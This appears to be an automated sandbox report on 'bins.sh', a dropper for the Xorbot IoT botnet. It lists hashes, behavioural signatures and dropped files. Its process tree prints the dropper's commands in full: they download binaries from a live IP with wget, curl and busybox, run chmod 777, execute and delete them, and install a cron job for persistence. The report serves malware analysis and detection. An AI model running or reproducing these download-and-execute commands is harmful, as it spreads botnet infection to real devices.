Analysis

  • max time kernel
    150s
  • max time network
    162s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03-12-2024 18:36

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a8c7d8298c6f6d498de1b4c9b6887ce5

  • SHA1

    1e64194eff12a4a67a5b19507930b27f08b02a3e

  • SHA256

    52f7f07396b6180fd504954ac793b89a944ac47e96a115af4d26991dbf53d565

  • SHA512

    16b08d2b1e6b93498263fd2262874a04925d799aa5f2723a4fb1543df3631efafd28107bde398a471642c1e76d874849070357266738771338e3c26a93c336f5

  • SSDEEP

    96:6usWuUVx7H4i77jrkYv8G2mD303SE8a7jrkYvqlG2mD3ZGzDivsWuUVxqKRO:6usWuUVxr4iwG2mD3NG2mD3UWuUVx2

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:668
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:673
        • /usr/bin/wget
          wget http://216.126.231.240/bins/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
          • Writes file to tmp directory
          PID:674
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:689
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
          • Writes file to tmp directory
          PID:698
        • /bin/chmod
          chmod 777 qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
          • File and Directory Permissions Modification
          PID:701
        • /tmp/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          ./qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
          • Executes dropped EXE
          PID:702
        • /bin/rm
          rm qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
            PID:705
          • /usr/bin/wget
            wget http://216.126.231.240/bins/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            2⤵
            • Writes file to tmp directory
            PID:706
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:707
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            2⤵
            • Writes file to tmp directory
            PID:710
          • /bin/chmod
            chmod 777 OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            2⤵
            • File and Directory Permissions Modification
            PID:713
          • /tmp/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            ./OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:715
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:717
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:718
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:720
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:721
                • /bin/rm
                  rm OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
                  2⤵
                    PID:725
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
                    2⤵
                      PID:728
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
                      2⤵
                        PID:730
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
                        2⤵
                        • Writes file to tmp directory
                        PID:732
                      • /bin/chmod
                        chmod 777 j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
                        2⤵
                        • File and Directory Permissions Modification
                        PID:737
                      • /tmp/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
                        ./j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
                        2⤵
                        • Executes dropped EXE
                        PID:739
                      • /bin/rm
                        rm j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
                        2⤵
                          PID:741
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
                          2⤵
                            PID:743
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
                            2⤵
                              PID:744
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
                              2⤵
                              • Writes file to tmp directory
                              PID:746
                            • /bin/chmod
                              chmod 777 doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
                              2⤵
                              • File and Directory Permissions Modification
                              PID:752
                            • /tmp/doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
                              ./doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
                              2⤵
                              • Executes dropped EXE
                              PID:754
                            • /bin/rm
                              rm doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
                              2⤵
                                PID:756
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/uCqYuixIVw0guQPETDMKHyAfw0ek71RVoJ
                                2⤵
                                  PID:758
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/uCqYuixIVw0guQPETDMKHyAfw0ek71RVoJ
                                  2⤵
                                    PID:759
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/uCqYuixIVw0guQPETDMKHyAfw0ek71RVoJ
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:761
                                  • /bin/chmod
                                    chmod 777 uCqYuixIVw0guQPETDMKHyAfw0ek71RVoJ
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:766
                                  • /tmp/uCqYuixIVw0guQPETDMKHyAfw0ek71RVoJ
                                    ./uCqYuixIVw0guQPETDMKHyAfw0ek71RVoJ
                                    2⤵
                                    • Executes dropped EXE
                                    PID:768
                                  • /bin/rm
                                    rm uCqYuixIVw0guQPETDMKHyAfw0ek71RVoJ
                                    2⤵
                                      PID:770
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/0MlIw5RlK8cvnqDJpsjoFpave9TGXx7JdW
                                      2⤵
                                        PID:772
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/0MlIw5RlK8cvnqDJpsjoFpave9TGXx7JdW
                                        2⤵
                                          PID:773
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/0MlIw5RlK8cvnqDJpsjoFpave9TGXx7JdW
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:775
                                        • /bin/chmod
                                          chmod 777 0MlIw5RlK8cvnqDJpsjoFpave9TGXx7JdW
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:783
                                        • /tmp/0MlIw5RlK8cvnqDJpsjoFpave9TGXx7JdW
                                          ./0MlIw5RlK8cvnqDJpsjoFpave9TGXx7JdW
                                          2⤵
                                          • Executes dropped EXE
                                          PID:784
                                        • /bin/rm
                                          rm 0MlIw5RlK8cvnqDJpsjoFpave9TGXx7JdW
                                          2⤵
                                            PID:787
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/Taht4AQ0gl88e9UEz09iBMg1HXI7skmIaY
                                            2⤵
                                              PID:788
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/Taht4AQ0gl88e9UEz09iBMg1HXI7skmIaY
                                              2⤵
                                                PID:790
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/Taht4AQ0gl88e9UEz09iBMg1HXI7skmIaY
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:794
                                              • /bin/chmod
                                                chmod 777 Taht4AQ0gl88e9UEz09iBMg1HXI7skmIaY
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:797
                                              • /tmp/Taht4AQ0gl88e9UEz09iBMg1HXI7skmIaY
                                                ./Taht4AQ0gl88e9UEz09iBMg1HXI7skmIaY
                                                2⤵
                                                • Executes dropped EXE
                                                PID:798
                                              • /bin/rm
                                                rm Taht4AQ0gl88e9UEz09iBMg1HXI7skmIaY
                                                2⤵
                                                  PID:799
                                                • /usr/bin/wget
                                                  wget http://216.126.231.240/bins/Y4Hbd7NKzWoLhBXvXe2BvliGpwl9tWXqEc
                                                  2⤵
                                                    PID:800

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • /tmp/0MlIw5RlK8cvnqDJpsjoFpave9TGXx7JdW

                                                  Filesize

                                                  99KB

                                                  MD5

                                                  9438d9bc392bcf300a5583b6df5bc8f6

                                                  SHA1

                                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                                  SHA256

                                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                  SHA512

                                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                • /tmp/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae

                                                  Filesize

                                                  127KB

                                                  MD5

                                                  89077b7bd4bcafca7713be43635c4862

                                                  SHA1

                                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                                  SHA256

                                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                  SHA512

                                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                • /tmp/Taht4AQ0gl88e9UEz09iBMg1HXI7skmIaY

                                                  Filesize

                                                  141KB

                                                  MD5

                                                  3ca8decdb1e52c423c521bfff02ac200

                                                  SHA1

                                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                  SHA256

                                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                  SHA512

                                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                • /tmp/doPZ0I85TF280cMGasF7ainzkhkMKLFBoP

                                                  Filesize

                                                  151KB

                                                  MD5

                                                  6c583043d91c55aa470c08c87058e917

                                                  SHA1

                                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                                  SHA256

                                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                  SHA512

                                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                • /tmp/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h

                                                  Filesize

                                                  151KB

                                                  MD5

                                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                                  SHA1

                                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                  SHA256

                                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                  SHA512

                                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                • /tmp/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF

                                                  Filesize

                                                  111KB

                                                  MD5

                                                  701e7a55a4f3650f5feee92a9860e5fc

                                                  SHA1

                                                  6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                  SHA256

                                                  ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                  SHA512

                                                  7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                • /tmp/uCqYuixIVw0guQPETDMKHyAfw0ek71RVoJ

                                                  Filesize

                                                  112KB

                                                  MD5

                                                  05d7857dcead18bbd86d2935f591873c

                                                  SHA1

                                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                  SHA256

                                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                  SHA512

                                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                • /var/spool/cron/crontabs/tmp.CtmMRP

                                                  Filesize

                                                  210B

                                                  MD5

                                                  472f00d78825c5c4b46d537a7e9ecd53

                                                  SHA1

                                                  d35d0d57e4cdc114e7498a40fe954255c357e023

                                                  SHA256

                                                  c31bf0cb9f4f28c051fc44dc1c1bb7db17b071532b99875ff9a53ca4a7803e15

                                                  SHA512

                                                  45a75ddd5a22aabe1b116f1b6b66471baeaacce769271fe51ea797f4f7967c1762408ef9975bbd8a1199f67454cf285bed6935ae14ab21a154662c78342294b5